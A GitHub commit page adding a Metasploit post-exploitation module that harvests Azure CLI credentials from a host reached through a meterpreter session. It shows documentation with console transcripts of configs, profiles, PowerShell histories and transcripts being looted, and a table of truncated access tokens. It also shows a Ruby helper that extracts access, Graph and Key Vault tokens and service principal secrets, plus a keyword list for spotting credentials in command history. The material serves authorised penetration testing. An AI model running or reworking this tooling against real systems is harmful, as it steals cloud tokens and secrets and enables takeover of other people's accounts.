Skip to content

Commit 1e0db9e

Browse files
committed
Land rapid7#10113, Azure CLI steal tokens post module.
2 parents 1264fe4 + db0f11b commit 1e0db9e

File tree

4 files changed

+1151
-0
lines changed

4 files changed

+1151
-0
lines changed
Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
## Vulnerable Application
2+
3+
Any windows, linux, or osx system with a `meterpreter` session and
4+
5+
[Azure CLI 2.0+](https://docs.microsoft.com/en-us/cli/azure/?view=azure-cli-latest).
6+
7+
Successfully tested on:
8+
9+
* Azure CLI 2.0.33 on Windows Server 2012 R2, and Windows 10
10+
* azure-cli 2.0.33-1.el7 on openSUSE Tumbleweed 20180517
11+
* Azure CLI 2.61.0 on Windows 10
12+
* Azure CLI 2.35.0 on [Docker](https://github.com/rapid7/metasploit-framework/pull/10113#issuecomment-2191464809)
13+
14+
## Verification Steps
15+
16+
1. Install Azure CLI
17+
2. Start msfconsole
18+
3. Get a `meterpreter` session on some host.
19+
4. Do: `use post/multi/gather/azure_cli_creds`
20+
5. Do: `set SESSION [SESSION_ID]`
21+
6. Do: `run`
22+
7. If the system has readable configuration files for Azure CLI, they will stored in loot and a summary will be printed to the screen.
23+
24+
## Options
25+
26+
## Scenarios
27+
28+
### A new install of 2.0.33 (empty data files) on Windows 10
29+
30+
```
31+
[msf](Jobs:0 Agents:1) post(multi/gather/azure_cli_creds) > run
32+
33+
[*] az cli version: 2.0.33
34+
[*] Looking for az cli data in C:\Users\windows
35+
[*] Checking for config files
36+
[+] .Azure/config stored in /root/.msf4/loot/20240616175854_default_111.111.1.11_azure.config.ini_081029.txt
37+
[*] Checking for context files
38+
[*] Checking for profile files
39+
[+] .Azure/azureProfile.json stored in /root/.msf4/loot/20240616175855_default_111.111.1.11_azure.profile.js_357740.txt
40+
[*] Checking for console history files
41+
[*] Post module execution completed
42+
```
43+
44+
### 2.61.0 on Windows 10
45+
46+
```
47+
msf6 post(multi/gather/azure_cli_creds) > rerun
48+
[*] Reloading module...
49+
50+
[*] az cli version: 2.61.0
51+
[*] Looking for az cli data in C:\Users\kali
52+
[*] Checking for config files
53+
[*] Checking for context files
54+
[*] Checking for profile files
55+
[*] Checking for console history files
56+
[+] C:\Users\kali/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt stored in /root/.msf4/loot/20240624150413_default_111.111.11.111_azure.console_hi_878016.txt
57+
[*] Checking for powershell transcript files
58+
[*] Looking for az cli data in C:\Users\h00die
59+
[*] Checking for config files
60+
[+] .Azure\config stored in /root/.msf4/loot/20240624150413_default_111.111.11.111_azure.config.ini_539242.txt
61+
[*] Checking for context files
62+
[+] .Azure/AzureRmContext.json stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.context.js_041230.txt
63+
[*] Checking for profile files
64+
[+] .Azure/azureProfile.json stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.profile.js_538496.txt
65+
[*] Checking for console history files
66+
[+] C:\Users\h00die/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt stored in /root/.msf4/loot/20240624150414_default_111.111.11.111_azure.console_hi_210490.txt
67+
[*] Checking for powershell transcript files
68+
[+] C:\Users\h00die/Documents/PowerShell_transcript.EDLT.Dz6sxz6B.20150720151906.txt stored in /root/.msf4/loot/20240624150415_default_111.111.11.111_azure.transcript_021248.txt
69+
[+] C:\Users\h00die/Documents/PowerShell_transcript.EDLT.Dz6sxz6B.20230720151906.txt stored in /root/.msf4/loot/20240624150415_default_111.111.11.111_azure.transcript_743088.txt
70+
[+] Line 1 may contain sensitive information. Manual search recommended, keyword hit: New-PSSession
71+
[+] Subscriptions
72+
=============
73+
74+
Account Name Username Cloud Name
75+
------------ -------- ----------
76+
EXAMPLE11111 1111111111111-1111-1111-111111111111 AzureCloud
77+
N/A(tenant level account) [email protected] AzureCloud
78+
79+
[+] Context
80+
=======
81+
82+
Username Account Type Access Token Graph Access Token MS Graph Access Token Key Vault Token Principal Secret
83+
-------- ------------ ------------ ------------------ --------------------- --------------- ----------------
84+
1111111111111-1111-1111-111111111 AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs
85+
111 ng1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dz 1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dzFzVU Ing1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4
86+
(clip) (clip) (clip)
87+
88+
rosoft.com
89+
1111111111111-1111-1111-111111111 ServicePrincipal
90+
a1c
91+
1111111111111-1111-1111-111111111 AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsI eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs
92+
f40 ng1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4dz Ing1dCI6IkwxS2ZLRklfam5YYndXYzIyeFp4
93+
(clip) (clip)
94+
95+
oft.com
96+
97+
[*] Post module execution completed
98+
msf6 post(multi/gather/azure_cli_creds) >
99+
```
100+
101+
### 2.35.0 on Docker
102+
103+
```
104+
msf6 post(multi/gather/azure_cli_creds) > run
105+
106+
[!] SESSION may not be compatible with this module:
107+
[!] * missing Meterpreter features: stdapi_railgun_api, stdapi_railgun_api_multi, stdapi_railgun_memread, stdapi_railgun_memwrite, stdapi_registry_check_key_exists, stdapi_registry_create_key, stdapi_registry_delete_key, stdapi_registry_enum_key_direct, stdapi_registry_enum_value_direct, stdapi_registry_load_key, stdapi_registry_open_key, stdapi_registry_query_value_direct, stdapi_registry_set_value_direct, stdapi_registry_unload_key, stdapi_sys_config_getprivs
108+
[*] Unable to determine az cli version
109+
[*] Looking for az cli data in /bin
110+
[*] Checking for config files
111+
[*] Checking for context files
112+
[*] Checking for profile files
113+
[*] Looking for az cli data in /dev
114+
[*] Checking for config files
115+
[*] Checking for context files
116+
[*] Checking for profile files
117+
[*] Looking for az cli data in /home/user
118+
[*] Checking for config files
119+
[+] .azure/config stored in /home/mtcyr/.msf4/loot/20240627140350_default_172.17.0.2_azure.config.ini_433702.txt
120+
[*] Checking for context files
121+
[*] Checking for profile files
122+
[+] .azure/azureProfile.json stored in /home/mtcyr/.msf4/loot/20240627140350_default_172.17.0.2_azure.profile.js_201042.txt
123+
[*] Looking for az cli data in /nonexistent
124+
[*] Checking for config files
125+
[*] Checking for context files
126+
[*] Checking for profile files
127+
[*] Looking for az cli data in /root
128+
[*] Checking for config files
129+
[*] Checking for context files
130+
[*] Checking for profile files
131+
[*] Looking for az cli data in /usr/games
132+
[*] Checking for config files
133+
[*] Checking for context files
134+
[*] Checking for profile files
135+
[*] Looking for az cli data in /usr/sbin
136+
[*] Checking for config files
137+
[*] Checking for context files
138+
[*] Checking for profile files
139+
[*] Looking for az cli data in /var/backups
140+
[*] Checking for config files
141+
[*] Checking for context files
142+
[*] Checking for profile files
143+
[*] Looking for az cli data in /var/cache/man
144+
[*] Checking for config files
145+
[*] Checking for context files
146+
[*] Checking for profile files
147+
[*] Looking for az cli data in /var/lib/gnats
148+
[*] Checking for config files
149+
[*] Checking for context files
150+
[*] Checking for profile files
151+
[*] Looking for az cli data in /var/list
152+
[*] Checking for config files
153+
[*] Checking for context files
154+
[*] Checking for profile files
155+
[*] Looking for az cli data in /var/mail
156+
[*] Checking for config files
157+
[*] Checking for context files
158+
[*] Checking for profile files
159+
[*] Looking for az cli data in /var/run/ircd
160+
[*] Checking for config files
161+
[*] Checking for context files
162+
[*] Checking for profile files
163+
[*] Looking for az cli data in /var/spool/lpd
164+
[*] Checking for config files
165+
[*] Checking for context files
166+
[*] Checking for profile files
167+
[*] Looking for az cli data in /var/spool/news
168+
[*] Checking for config files
169+
[*] Checking for context files
170+
[*] Checking for profile files
171+
[*] Looking for az cli data in /var/spool/uucp
172+
[*] Checking for config files
173+
[*] Checking for context files
174+
[*] Checking for profile files
175+
[*] Looking for az cli data in /var/www
176+
[*] Checking for config files
177+
[*] Checking for context files
178+
[*] Checking for profile files
179+
[+] Subscriptions
180+
=============
181+
182+
Account Name Username Cloud Name
183+
------------ -------- ----------
184+
N/A(tenant level account) [email protected] AzureCloud
185+
186+
[*] Post module execution completed
187+
```

lib/msf/core/post/azure.rb

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
# -*- coding: binary -*-
2+
3+
module Msf::Post::Azure
4+
def process_tokens_file(content)
5+
table_data = []
6+
7+
dic = {}
8+
content.each do |item|
9+
if dic.key?(item['userId'])
10+
dic[item['userId']] = dic[item['userId']] + 1
11+
else
12+
dic[item['userId']] = 1
13+
end
14+
end
15+
dic.each do |key, value|
16+
table_data << [file_path, key, value]
17+
end
18+
19+
table_data
20+
end
21+
22+
#
23+
# Processes a hashtable (json) from azureProfile.json
24+
#
25+
# @param content [Hash] contents of a json file to process
26+
# @return [Array]
27+
def process_profile_file(content)
28+
table_data = []
29+
30+
# make sure we have keys we expect to
31+
return table_data unless content.key? 'subscriptions'
32+
33+
content['subscriptions'].each do |item|
34+
table_data << [item['name'], item.dig('user', 'name'), item['environmentName']]
35+
end
36+
table_data
37+
end
38+
39+
#
40+
# Processes a hashtable (json) generated via Save-AzContext or automatically
41+
# generated in AzureRmContext.json
42+
#
43+
# @param content [Hash] contents of a json file to process
44+
# @return [Array]
45+
def process_context_contents(content)
46+
table_data = []
47+
48+
# make sure we have keys we expect to
49+
return table_data unless content.key? 'Contexts'
50+
51+
content['Contexts'].each_value do |account|
52+
username = account.dig('Account', 'Id')
53+
type = account.dig('Account', 'Type')
54+
principal_secret = account.dig('Account', 'ExtendedProperties', 'ServicePrincipalSecret') # only in 'ServicePrincipal' types
55+
access_token = account.dig('Account', 'ExtendedProperties', 'AccessToken')
56+
graph_access_token = account.dig('Account', 'ExtendedProperties', 'GraphAccessToken')
57+
# example of parsing these out to get an expiration for the token
58+
# unless graph_access_token.nil? || graph_access_token.empty?
59+
# decoded_token = Msf::Exploit::Remote::HTTP::JWT.decode(graph_access_token)
60+
# graph_access_token_exp = Time.at(decoded_token.payload['exp']).to_datetime
61+
# end
62+
ms_graph_access_token = account.dig('Account', 'ExtendedProperties', 'MicrosoftGraphAccessToken')
63+
key_vault_token = account.dig('Account', 'ExtendedProperties', 'KeyVault')
64+
table_data.append([username, type, access_token, graph_access_token, ms_graph_access_token, key_vault_token, principal_secret])
65+
end
66+
table_data
67+
end
68+
69+
#
70+
# Print any lines from a ConsoleHost_history.txt file that may have
71+
# important information
72+
#
73+
# @param content [Str] contents of a ConsoleHost_history.txt file
74+
# @return Array of strings to print to notify the user about
75+
def print_consolehost_history(content)
76+
# a list of strings which may contain secrets or other important information
77+
commands_of_value = [
78+
'System.Management.Automation.PSCredential', # for creating new credentials, may contain username/password
79+
'ConvertTo-SecureString', # often used with passwords
80+
'Connect-AzAccount', # may contain an access token in line or near it
81+
'New-PSSession', # may indicate lateral movement to a new host
82+
'commandToExecute', # when used with Set-AzVMExtension and a CustomScriptExtension, may show code execution
83+
'-ScriptBlock' # when used with Invoke-Command, may show code execution
84+
]
85+
86+
output = []
87+
88+
content.each_line.with_index do |line, index|
89+
commands_of_value.each do |command|
90+
if line.downcase.include? command.downcase
91+
output.append("Line #{index + 1} may contain sensitive information. Manual search recommended, keyword hit: #{command}")
92+
end
93+
end
94+
end
95+
output
96+
end
97+
end

0 commit comments

Comments
 (0)